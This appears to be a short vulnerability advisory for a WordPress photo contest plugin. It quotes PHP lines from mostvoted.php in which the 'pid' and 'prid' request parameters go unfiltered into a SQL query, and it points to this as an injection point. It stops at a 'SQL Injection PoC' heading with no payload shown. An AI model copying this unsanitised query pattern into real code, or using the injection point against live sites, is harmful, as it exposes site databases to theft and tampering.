## Vulnerable Code - mostvoted.php [15-22]:
15.if (isset($_REQUEST['pid']) || isset($_REQUEST['prid']))
16.		$postid = $_REQUEST['pid'] ? $_REQUEST['pid'] : $_REQUEST['prid'];
17.if (isset($_REQUEST['p']))
18.		$p = $_REQUEST['p'];
19.if ($postid == 0) exit;
20.$q1 = "SELECT raceid, active_from, active_to, indexpath, name, headcontent, numphoto FROM ".
21.		$wpdb->prefix."photoracer_admin where postid=$postid";
22.$out = $wpdb->get_row($q1);

## NOTE:
## As you can see there is no validation or any filter to variable $postid ($_REQUEST['pid'] and $_REQUEST['prid']).
## See line 16. so you can inject sql query by using $postid;
## SQL Injection PoC:
